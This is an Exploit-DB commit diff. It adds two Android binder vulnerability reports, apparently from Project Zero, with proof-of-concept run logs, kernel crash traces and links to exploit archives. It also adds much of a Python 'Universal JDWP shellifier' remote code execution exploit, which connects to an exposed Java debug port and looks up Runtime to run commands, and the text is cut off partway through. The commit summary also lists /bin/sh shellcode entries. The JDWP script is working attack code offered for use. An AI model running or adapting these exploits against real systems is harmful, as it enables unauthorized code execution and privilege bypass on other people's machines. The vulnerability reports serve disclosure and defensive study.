DB: 2019-03-07

6 changes to exploits/shellcodes

Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem
Android - binder Use-After-Free via racy Initialization of ->allow_user_free
Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass

Java Debug Wire Protocol (JDWP) - Remote Code Execution

Linux/x86 - XOR Encoder / Decoder execve() /bin/sh Shellcode (45 bytes)
Linux/x86 - XOR Encoder / Decoder execve(/bin/sh) Shellcode (45 bytes)
This commit is contained in:
Offensive Security 2019-03-07 05:01:53 +00:00
parent dd4f02248d
commit d5509de389
8 changed files with 1200 additions and 39 deletions

View file

@ -0,0 +1,164 @@
The following bug report solely looks at the situation on the upstream master
branch; while from a cursory look, at least the wahoo kernel also looks
affected, I have only properly tested this on upstream master.
The binder driver permits userspace to free buffers in the kernel-managed shared
memory region by using the BC_FREE_BUFFER command. This command implements the
following restrictions:
- binder_alloc_prepare_to_free_locked() verifies that the pointer points to a
buffer
- binder_alloc_prepare_to_free_locked() verifies that the ->free_in_progress
flag is not yet set, and sets it
- binder_thread_write() verifies that the ->allow_user_free flag is set
The first two of these checks happen with alloc->mutex held.
The ->free_in_progress flag can be set in the following places:
- new buffers are allocated with kzalloc() and therefore have the flag set to 0
- binder_alloc_prepare_to_free_locked() sets it to 1 when starting to free a
buffer
- binder_alloc_new_buf_locked() sets it to 0 when a buffer is allocated
This means that a buffer coming from binder_alloc_new_buf() always has this flag
clear.
The ->allow_user_free flag can be set in the following places:
- new buffers are allocated with kzalloc() and therefore have the flag set to 0
- binder_transaction() sets it to 0 after allocating a buffer with
binder_alloc_new_buf()
- binder_thread_read() sets it to 1 after an allocated buffer has been filled
with data for userspace
This means that a buffer coming from binder_alloc_new_buf() may have the flag
either clear or set: If the buffer is new, the bit is 0; but if the buffer has
previously been used, the bit remains 1 from the previous use.
Therefore, it can be possible for userspace to free a buffer coming from
binder_alloc_new_buf(). Directly after the call to binder_alloc_new_buf(),
->allow_user_free is set to zero; but there is a small race window in which an
attacker can use BC_FREE_BUFFER to free the buffer.
I am attaching a proof of concept for the upstream git master kernel running on
a normal desktop system.
Unpack the attached binder_race_freebuf.tar.
Patch the kernel with 0001-binder-race-helper.patch to widen the race window and
add some debug logging. Build it and boot into it.
Use ./compile.sh to build the PoC, then run ./poc as root.
The output should look like this:
===============
# ./poc
### FIRST PING
0000: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION:
target 0000000000000000 cookie 0000000000000000 code 00000001 flags 00000010
pid 1192 uid 0 data 4 offs 0
0000: 00 . 00 . 00 . 00 .
got transaction!
binder_send_reply(status=0)
offsets=0x7ffc68d94ec0, offsets_size=0
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 0 data 4 offs 0
0000: 00 . 00 . 00 . 00 .
binder_done: freeing buffer
binder_done: free done
### SECOND PING
0000: 00 . 00 . 00 . 00 .
### ATTEMPTING FREE IN RACE WINDOW
### END OF FREE IN RACE WINDOW, FLUSHING PAGE
### END OF PAGE FLUSH
===============
You should see something like this in dmesg (if you have
/sys/module/binder/parameters/debug_mask set to 16383):
===============
[ 71.555144] binder: binder_open: 1191:1191
[ 71.557091] binder: binder_mmap: 1191 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep 8000000000000025
[ 71.560020] binder: 1191:1191 node 1 u0000000000000000 c0000000000000000 created
[ 71.563526] binder: 1191:1191 write 4 at 00007ffc68d95020, read 0 at 0000000000000000
[ 71.566453] binder: 1191:1191 BC_ENTER_LOOPER
[ 71.568390] binder: 1191:1191 wrote 4 of 4, read return 0 of 0
[ 71.571268] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 72.555736] binder: binder_open: 1192:1192
[ 72.558848] binder: binder_mmap: 1192 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep 8000000000000025
[ 72.564619] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20
[ 72.568033] binder: 1192:1192 BC_TRANSACTION 2 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0
[ 72.571666] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0)
[ 82.692703] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0)
[ 82.699956] binder: 1191:1191 BR_TRANSACTION 2 1192:1192, cmd -2143260158 size 4-0 ptr 00007f273d896000-00007f273d896008
[ 82.707859] binder: 1191:1191 wrote 0 of 0, read return 72 of 128
[ 82.712176] binder: 1191:1191 write 88 at 00007ffc68d94da0, read 0 at 0000000000000000
[ 82.715038] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for active transaction
[ 82.717791] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11
[ 82.720813] binder: 1191:1191 BC_REPLY 3 -> 1192:1192, data 00007ffc68d94ee0-00007ffc68d94ec0 size 4-0-0
[ 82.723643] binder: [1191] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0)
[ 92.932760] binder: [1191] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0)
[ 92.939182] binder: 1191:1191 wrote 88 of 88, read return 0 of 0
[ 92.939230] binder: 1192:1192 BR_TRANSACTION_COMPLETE
[ 92.943073] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 92.943077] binder: 1191:1191 BR_TRANSACTION_COMPLETE
[ 92.943088] binder: 1191:1191 wrote 0 of 0, read return 8 of 128
[ 92.946332] binder: 1192:1192 BR_REPLY 3 0:0, cmd -2143260157 size 4-0 ptr 00007f273d896000-00007f273d896008
[ 92.949858] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 92.952057] binder: 1192:1192 wrote 68 of 68, read return 76 of 128
[ 92.963782] binder: 1192:1192 write 12 at 00007ffc68d94024, read 0 at 0000000000000000
[ 92.966693] binder: 1192:1192 BC_FREE_BUFFER u00007f273d896000 found buffer 3 for finished transaction
[ 92.970073] binder: 1192 buffer release 3, size 4-0, failed at 000000004a5bea11
[ 92.972570] binder: 1192:1192 wrote 12 of 12, read return 0 of 0
[ 92.975094] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20
[ 92.978318] binder: 1192:1192 BC_TRANSACTION 4 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0
[ 92.981400] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=1 free_in_progress=0 free=0)
[ 93.975357] binder: 1191:1191 write 12 at 00007ffc68d94a60, read 0 at 0000000000000000
[ 93.980201] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for finished transaction
[ 93.986293] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11
[ 93.989411] binder: 1191:1191 wrote 12 of 12, read return 0 of 0
[ 94.123942] poc (1191): drop_caches: 2
[ 94.124975] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 103.172683] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=1 free_in_progress=1 free=1)
[ 103.179477] BUG: pagefault on kernel address 0xffffc90001656000 in non-whitelisted uaccess
[ 103.184390] BUG: unable to handle kernel paging request at ffffc90001656000
[ 103.186619] PGD 1ead31067 P4D 1ead31067 PUD 1eaeaa067 PMD 1e26bb067 PTE 0
[ 103.188645] Oops: 0002 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN
[ 103.190386] CPU: 1 PID: 1192 Comm: poc Not tainted 4.20.0-rc3+ #221
[ 103.192262] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 103.195468] RIP: 0010:copy_user_generic_unrolled+0xa0/0xc0
[...]
[ 103.224384] Call Trace:
[ 103.225124] _copy_from_user+0x5e/0x90
[ 103.226231] binder_transaction+0xe2c/0x3a70
[...]
[ 103.245031] binder_thread_write+0x788/0x1b10
[...]
[ 103.262718] binder_ioctl+0x916/0xe80
[...]
[ 103.273723] do_vfs_ioctl+0x134/0x8f0
[...]
[ 103.279071] ksys_ioctl+0x70/0x80
[ 103.279968] __x64_sys_ioctl+0x3d/0x50
[ 103.280998] do_syscall_64+0x73/0x160
[ 103.281989] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[...]
[ 103.302367] ---[ end trace aa878f351ca08969 ]---
[ 103.303412] RIP: 0010:copy_user_generic_unrolled+0xa0/0xc0
[...]
[ 103.327111] binder: 1192 close vm area 7f273d896000-7f273dc96000 (4096 K) vma 18020051 pagep 8000000000000025
[ 103.329459] binder: binder_flush: 1192 woke 0 threads
[ 103.329497] binder: binder_deferred_release: 1192 threads 1, nodes 0 (ref 0), refs 0, active transactions 0
===============
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46503.zip

View file

@ -0,0 +1,225 @@
We already reported four bugs in Android that are caused by the use of
getpidcon(), which is fundamentally unsafe:
https://bugs.chromium.org/p/project-zero/issues/detail?id=727 (AndroidID-27111481; unexploitable)
https://bugs.chromium.org/p/project-zero/issues/detail?id=851 (AndroidID-29431260; getpidcon() used in the servicemanager)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1404 (AndroidID-68217907; getpidcon() used in the hardware service manager)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1406 (AndroidID-68217699; getpidcon() used in the keystore)
The bulletin entry for bug 1404 (in
https://source.android.com/security/bulletin/2018-01-01#system) points to the
following three commits:
https://android.googlesource.com/platform/system/libhidl/+/a4d0252ab5b6f6cc52a221538e1536c5b55c1fa7
"canCastInterface: always return true for IBase"
I'm not sure how this relates to the bug.
https://android.googlesource.com/platform/system/tools/hidl/+/8539fc8ac94d5c92ef9df33675844ab294f68d61
"Explicitly check processes are oneway"
Ensures that the caller PID isn't passed as zero. This addresses a second issue
that was mentioned in the bug report, but doesn't address the core issue.
https://android.googlesource.com/platform/system/hwservicemanager/+/e1b4a889e8b84f5c13b76333d4de90dbe102a0de
"get selinux context on add call arrival."
"interfaceChain may take too long and allow for the PID to become invalidated."
This seems to be the patch that is intended to fix the core bug - but all it
does is to reduce the size of the race window, it does not address the actual
issue.
Overall, it looks like this vulnerability was not actually fixed.
A patch that merely reduces the size of a race window without eliminating it is,
in my opinion, not a valid fix for security issues that impact confidentiality
or integrity.
(The situation in the classic servicemanager seems to be similar, except that it
has additional checks that very coarsely mitigate this class of issues based on
caller UIDs.)
In my opinion, a proper fix should include tracking of caller SELinux contexts,
perhaps with context information pulled from the kernel on demand when needed.
I think you could e.g. implement this by stashing a refcounted pointer to the
caller's credentials in the struct binder_buffer in binder_transaction(), like
this:
t->buffer->caller_cred = get_current_cred();
And then add a new ioctl to the binder device for looking up the SELinux context
associated with a transaction, somewhat similar to SO_PEERSEC: Take the alloc
mutex, look up the allocation for the provided userspace pointer, ensure that it
is user-freeable, take a reference to its creds, and drop the mutex.
If for some reason, this still has too much overhead, you could also gate it on
opt-in by the receiving binder, similar to FLAT_BINDER_FLAG_ACCEPTS_FDS.
To demonstrate that this issue can indeed still be triggered, I have written a
PoC for the Pixel 2 (walleye), running build
"google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys"
(patch level "2018-12-05") that can register a second instance of
"android.hidl.manager@1.0::IServiceManager" with instance name
"bogusbogusbogus".
Running it:
=====================================================================
$ ./compile.sh && adb push master /data/local/tmp/ && adb shell /data/local/tmp/master
master: 1 file pushed. 12.6 MB/s (687184 bytes in 0.052s)
hexdump(0x7fc41de528, 0x50)
00000000 00 01 00 00 1a 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.|
00000010 6f 00 69 00 64 00 2e 00 6f 00 73 00 2e 00 49 00 |o.i.d...o.s...I.|
00000020 53 00 65 00 72 00 76 00 69 00 63 00 65 00 4d 00 |S.e.r.v.i.c.e.M.|
00000030 61 00 6e 00 61 00 67 00 65 00 72 00 00 00 00 00 |a.n.a.g.e.r.....|
00000040 05 00 00 00 61 00 75 00 64 00 69 00 6f 00 00 00 |....a.u.d.i.o...|
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 24 offs 8
hexdump(0x7ae2539000, 0x18)
00000000 85 2a 68 73 7f 01 00 00 01 00 00 00 00 00 00 00 |.*hs............|
00000010 00 00 00 00 00 00 00 00 |........|
- type 73682a85 flags 0000017f ptr 0000000000000001 cookie 0000000000000000
binder_done: freeing buffer
binder_done: free done
got audio_handle: 0x1
hexdump(0x7fc41df648, 0x40)
00000000 00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.|
00000010 6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00 |o.i.d...m.e.d.i.|
00000020 61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00 |a...I.A.u.d.i.o.|
00000030 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 |S.e.r.v.i.c.e...|
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 0 offs 0
hexdump(0x7ae2539000, 0x0)
binder_done: freeing buffer
binder_done: free done
thread_spawner ready to transact
spam done
ready for delay...
14736 forking master...
14737 forking...
entering child: 14738
pre-cycling...
cycle target is 14737
first unused preceding pid is 13325 (3/No such process)
PIDs should be cycled now...
starting delay...
starting register transaction
hexdump(0x7ae2537f80, 0x94)
00000000 61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 6d 61 6e |android.hidl.man|
00000010 61 67 65 72 40 31 2e 30 3a 3a 49 53 65 72 76 69 |ager@1.0::IServi|
00000020 63 65 4d 61 6e 61 67 65 72 00 00 00 85 2a 74 70 |ceManager....*tp|
00000030 00 00 00 00 48 7f 53 e2 7a 00 00 00 10 00 00 00 |....H.S.z.......|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 85 2a 74 70 01 00 00 00 60 4f 46 00 |.....*tp....`OF.|
00000060 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 85 2a 62 73 |.............*bs|
00000080 7f 01 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 00 00 00 00 |....|
BR_NOOP:
BR_INCREFS:
0x7ae2537e18, 0x7ae2537e20
BR_ACQUIRE:
0x7ae2537e2c, 0x7ae2537e34
BR_TRANSACTION_COMPLETE:
owner of to-be-reused PID 14737 is quitting now
BR_NOOP:
thread_spawner transacting now
hexdump(0x7fc41df648, 0x40)
00000000 00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.|
00000010 6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00 |o.i.d...m.e.d.i.|
00000020 61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00 |a...I.A.u.d.i.o.|
00000030 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 |S.e.r.v.i.c.e...|
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 8 offs 0
hexdump(0x7ae2539000, 0x8)
00000000 00 00 00 00 00 00 00 00 |........|
binder_done: freeing buffer
binder_done: free done
pid 12645 quit: exit(0)
got delay: 017664533478
SSSMMMUUUNNN
BR_NOOP:
BR_TRANSACTION:
target 0000000000000001 cookie 0000000000000000 code 0f43484e flags 00000010
pid 588 uid 1000 data 32 offs 0
hexdump(0x7ae2539000, 0x20)
00000000 61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 62 61 73 |android.hidl.bas|
00000010 65 40 31 2e 30 3a 3a 49 42 61 73 65 00 00 00 00 |e@1.0::IBase....|
got binder call
binder_send_reply(status=0)
offsets=0x7ae2537c88, offsets_size=32
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 8 offs 0
hexdump(0x7ae2539000, 0x8)
00000000 00 00 00 00 01 00 00 00 |........|
binder_done: freeing buffer
binder_done: free done
REGISTRATION OVER
pid 12644 quit: exit(0)
=====================================================================
Note: It will probably take a few minutes when you run it the first time because
it has to create a 16GB file on disk.
Once the PoC has printed "REGISTRATION OVER", the bogus hardware service should
have been registered. The PoC will keep running to keep the bogus service alive.
At this point, you can check whether it worked:
=====================================================================
walleye:/ $ getprop ro.build.fingerprint
google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys
walleye:/ $ lshal 2>/dev/null | grep ISensorManager
android.frameworks.sensorservice@1.0::ISensorManager/bogusbogusbogus N/A N/A
android.frameworks.sensorservice@1.0::ISensorManager/default N/A N/A
walleye:/ $
=====================================================================
Some detail on how the PoC works:
master.c coordinates execution.
register.c takes care of setting up two processes that share memory mappings,
wrapping the PID counter, registering a service and relinquishing the PID at the
right time.
thread_spawner.c uses the unloadSoundEffects() and loadSoundEffects() RPC calls
on android.media.IAudioService to create a thread in system_server, reusing the
PID relinquished by register.c.
reload_timer.c stalls slowpath lookups of entries in /proc for ~15 seconds by
abusing that Linux 4.4's sys_getdents64() exclusively locks the inode across the
entire readdir operation, including all usercopy accesses, combined with a
series of uncached 4k file mappings and a lack of priority inheritance in kernel
mutexes. Stalling slowpath lookups of /proc entries causes getpidcon() to block
on opening /proc/$pid/attr/current.
See also the attached timing diagram.
Oh, by the way, something else that I'm not actually using here, and that
doesn't really have any direct security impact, but that looks unintended:
/dev/binder sets the VM_DONTCOPY flag on the VMA, but because it doesn't also
set VM_IO, it is possible to use madvise(..., MADV_DOFORK) to clear that flag:
case MADV_DOFORK:
if (vma->vm_flags & VM_IO) {
error = -EINVAL;
goto out;
}
new_flags &= ~VM_DONTCOPY;
break;
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46504.zip

656
exploits/java/remote/46501.py Executable file
View file

@ -0,0 +1,656 @@
#!/usr/bin/python
################################################################################
#
# Universal JDWP shellifier
#
# @_hugsy_
#
# And special cheers to @lanjelot
#
import socket
import time
import sys
import struct
import urllib
import argparse
################################################################################
#
# JDWP protocol variables
#
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = (1, 1)
CLASSESBYSIGNATURE_SIG = (1, 2)
ALLCLASSES_SIG = (1, 3)
ALLTHREADS_SIG = (1, 4)
IDSIZES_SIG = (1, 7)
CREATESTRING_SIG = (1, 11)
SUSPENDVM_SIG = (1, 8)
RESUMEVM_SIG = (1, 9)
SIGNATURE_SIG = (2, 1)
FIELDS_SIG = (2, 4)
METHODS_SIG = (2, 5)
GETVALUES_SIG = (2, 6)
CLASSOBJECT_SIG = (2, 11)
INVOKESTATICMETHOD_SIG = (3, 3)
REFERENCETYPE_SIG = (9, 1)
INVOKEMETHOD_SIG = (9, 6)
STRINGVALUE_SIG = (10, 1)
THREADNAME_SIG = (11, 1)
THREADSUSPEND_SIG = (11, 2)
THREADRESUME_SIG = (11, 3)
THREADSTATUS_SIG = (11, 4)
EVENTSET_SIG = (15, 1)
EVENTCLEAR_SIG = (15, 2)
EVENTCLEARALL_SIG = (15, 3)
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
################################################################################
#
# JDWP client class
#
class JDWPClient:
def __init__(self, host, port=8000):
self.host = host
self.port = port
self.methods = {}
self.fields = {}
self.id = 0x01
return
def create_packet(self, cmdsig, data=""):
flags = 0x00
cmdset, cmd = cmdsig
pktlen = len(data) + 11
pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd))
pkt+= data
self.id += 2
return pkt
def read_reply(self):
header = self.socket.recv(11)
pktlen, id, flags, errcode = struct.unpack(">IIcH", header)
if flags == chr(REPLY_PACKET_TYPE):
if errcode :
raise Exception("Received errcode %d" % errcode)
buf = ""
while len(buf) + 11 < pktlen:
data = self.socket.recv(1024)
if len(data):
buf += data
else:
time.sleep(1)
return buf
def parse_entries(self, buf, formats, explicit=True):
entries = []
index = 0
if explicit:
nb_entries = struct.unpack(">I", buf[:4])[0]
buf = buf[4:]
else:
nb_entries = 1
for i in range(nb_entries):
data = {}
for fmt, name in formats:
if fmt == "L" or fmt == 8:
data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0])
index += 8
elif fmt == "I" or fmt == 4:
data[name] = int(struct.unpack(">I", buf[index:index+4])[0])
index += 4
elif fmt == 'S':
l = struct.unpack(">I", buf[index:index+4])[0]
data[name] = buf[index+4:index+4+l]
index += 4+l
elif fmt == 'C':
data[name] = ord(struct.unpack(">c", buf[index])[0])
index += 1
elif fmt == 'Z':
t = ord(struct.unpack(">c", buf[index])[0])
if t == 115:
s = self.solve_string(buf[index+1:index+9])
data[name] = s
index+=9
elif t == 73:
data[name] = struct.unpack(">I", buf[index+1:index+5])[0]
buf = struct.unpack(">I", buf[index+5:index+9])
index=0
else:
print "Error"
sys.exit(1)
entries.append( data )
return entries
def format(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.pack(">Q", value)
elif fmt == "I" or fmt == 4:
return struct.pack(">I", value)
raise Exception("Unknown format")
def unformat(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.unpack(">Q", value[:8])[0]
elif fmt == "I" or fmt == 4:
return struct.unpack(">I", value[:4])[0]
else:
raise Exception("Unknown format")
return
def start(self):
self.handshake(self.host, self.port)
self.idsizes()
self.getversion()
self.allclasses()
return
def handshake(self, host, port):
s = socket.socket()
try:
s.connect( (host, port) )
except socket.error as msg:
raise Exception("Failed to connect: %s" % msg)
s.send( HANDSHAKE )
if s.recv( len(HANDSHAKE) ) != HANDSHAKE:
raise Exception("Failed to handshake")
else:
self.socket = s
return
def leave(self):
self.socket.close()
return
def getversion(self):
self.socket.sendall( self.create_packet(VERSION_SIG) )
buf = self.read_reply()
formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
('S', "vmVersion"), ('S', "vmName"), ]
for entry in self.parse_entries(buf, formats, False):
for name,value in entry.iteritems():
setattr(self, name, value)
return
@property
def version(self):
return "%s - %s" % (self.vmName, self.vmVersion)
def idsizes(self):
self.socket.sendall( self.create_packet(IDSIZES_SIG) )
buf = self.read_reply()
formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
("I", "referenceTypeIDSize"), ("I", "frameIDSize") ]
for entry in self.parse_entries(buf, formats, False):
for name,value in entry.iteritems():
setattr(self, name, value)
return
def allthreads(self):
try:
getattr(self, "threads")
except :
self.socket.sendall( self.create_packet(ALLTHREADS_SIG) )
buf = self.read_reply()
formats = [ (self.objectIDSize, "threadId")]
self.threads = self.parse_entries(buf, formats)
finally:
return self.threads
def get_thread_by_name(self, name):
self.allthreads()
for t in self.threads:
threadId = self.format(self.objectIDSize, t["threadId"])
self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) )
buf = self.read_reply()
if len(buf) and name == self.readstring(buf):
return t
return None
def allclasses(self):
try:
getattr(self, "classes")
except:
self.socket.sendall( self.create_packet(ALLCLASSES_SIG) )
buf = self.read_reply()
formats = [ ('C', "refTypeTag"),
(self.referenceTypeIDSize, "refTypeId"),
('S', "signature"),
('I', "status")]
self.classes = self.parse_entries(buf, formats)
return self.classes
def get_class_by_name(self, name):
for entry in self.classes:
if entry["signature"].lower() == name.lower() :
return entry
return None
def get_methods(self, refTypeId):
if not self.methods.has_key(refTypeId):
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) )
buf = self.read_reply()
formats = [ (self.methodIDSize, "methodId"),
('S', "name"),
('S', "signature"),
('I', "modBits")]
self.methods[refTypeId] = self.parse_entries(buf, formats)
return self.methods[refTypeId]
def get_method_by_name(self, name):
for refId in self.methods.keys():
for entry in self.methods[refId]:
if entry["name"].lower() == name.lower() :
return entry
return None
def getfields(self, refTypeId):
if not self.fields.has_key( refTypeId ):
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) )
buf = self.read_reply()
formats = [ (self.fieldIDSize, "fieldId"),
('S', "name"),
('S', "signature"),
('I', "modbits")]
self.fields[refTypeId] = self.parse_entries(buf, formats)
return self.fields[refTypeId]
def getvalue(self, refTypeId, fieldId):
data = self.format(self.referenceTypeIDSize, refTypeId)
data+= struct.pack(">I", 1)
data+= self.format(self.fieldIDSize, fieldId)
self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) )
buf = self.read_reply()
formats = [ ("Z", "value") ]
field = self.parse_entries(buf, formats)[0]
return field
def createstring(self, data):
buf = self.buildstring(data)
self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) )
buf = self.read_reply()
return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)
def buildstring(self, data):
return struct.pack(">I", len(data)) + data
def readstring(self, data):
size = struct.unpack(">I", data[:4])[0]
return data[4:4+size]
def suspendvm(self):
self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) )
self.read_reply()
return
def resumevm(self):
self.socket.sendall( self.create_packet( RESUMEVM_SIG ) )
self.read_reply()
return
def invokestatic(self, classId, threadId, methId, *args):
data = self.format(self.referenceTypeIDSize, classId)
data+= self.format(self.objectIDSize, threadId)
data+= self.format(self.methodIDSize, methId)
data+= struct.pack(">I", len(args))
for arg in args:
data+= arg
data+= struct.pack(">I", 0)
self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) )
buf = self.read_reply()
return buf
def invoke(self, objId, threadId, classId, methId, *args):
data = self.format(self.objectIDSize, objId)
data+= self.format(self.objectIDSize, threadId)
data+= self.format(self.referenceTypeIDSize, classId)
data+= self.format(self.methodIDSize, methId)
data+= struct.pack(">I", len(args))
for arg in args:
data+= arg
data+= struct.pack(">I", 0)
self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) )
buf = self.read_reply()
return buf
def solve_string(self, objId):
self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) )
buf = self.read_reply()
if len(buf):
return self.readstring(buf)
else:
return ""
def query_thread(self, threadId, kind):
data = self.format(self.objectIDSize, threadId)
self.socket.sendall( self.create_packet(kind, data=data) )
buf = self.read_reply()
return
def suspend_thread(self, threadId):
return self.query_thread(threadId, THREADSUSPEND_SIG)
def status_thread(self, threadId):
return self.query_thread(threadId, THREADSTATUS_SIG)
def resume_thread(self, threadId):
return self.query_thread(threadId, THREADRESUME_SIG)
def send_event(self, eventCode, *args):
data = ""
data+= chr( eventCode )
data+= chr( SUSPEND_ALL )
data+= struct.pack(">I", len(args))
for kind, option in args:
data+= chr( kind )
data+= option
self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) )
buf = self.read_reply()
return struct.unpack(">I", buf)[0]
def clear_event(self, eventCode, rId):
data = chr(eventCode)
data+= struct.pack(">I", rId)
self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) )
self.read_reply()
return
def clear_events(self):
self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) )
self.read_reply()
return
def wait_for_event(self):
buf = self.read_reply()
return buf
def parse_event_breakpoint(self, buf, eventId):
num = struct.unpack(">I", buf[2:6])[0]
rId = struct.unpack(">I", buf[6:10])[0]
if rId != eventId:
return None
tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize])
loc = -1 # don't care
return rId, tId, loc
def runtime_exec(jdwp, args):
print ("[+] Targeting '%s:%d'" % (args.target, args.port))
print ("[+] Reading settings for '%s'" % jdwp.version)
# 1. get Runtime class reference
runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;")
if runtimeClass is None:
print ("[-] Cannot find class Runtime")
return False
print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])
# 2. get getRuntime() meth reference
jdwp.get_methods(runtimeClass["refTypeId"])
getRuntimeMeth = jdwp.get_method_by_name("getRuntime")
if getRuntimeMeth is None:
print ("[-] Cannot find method Runtime.getRuntime()")
return False
print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])
# 3. setup breakpoint on frequently called method
c = jdwp.get_class_by_name( args.break_on_class )
if c is None:
print("[-] Could not access class '%s'" % args.break_on_class)
print("[-] It is possible that this class is not used by application")
print("[-] Test with another one with option `--break-on`")
return False
jdwp.get_methods( c["refTypeId"] )
m = jdwp.get_method_by_name( args.break_on_method )
if m is None:
print("[-] Could not access method '%s'" % args.break_on)
return False
loc = chr( TYPE_CLASS )
loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] )
loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] )
loc+= struct.pack(">II", 0, 0)
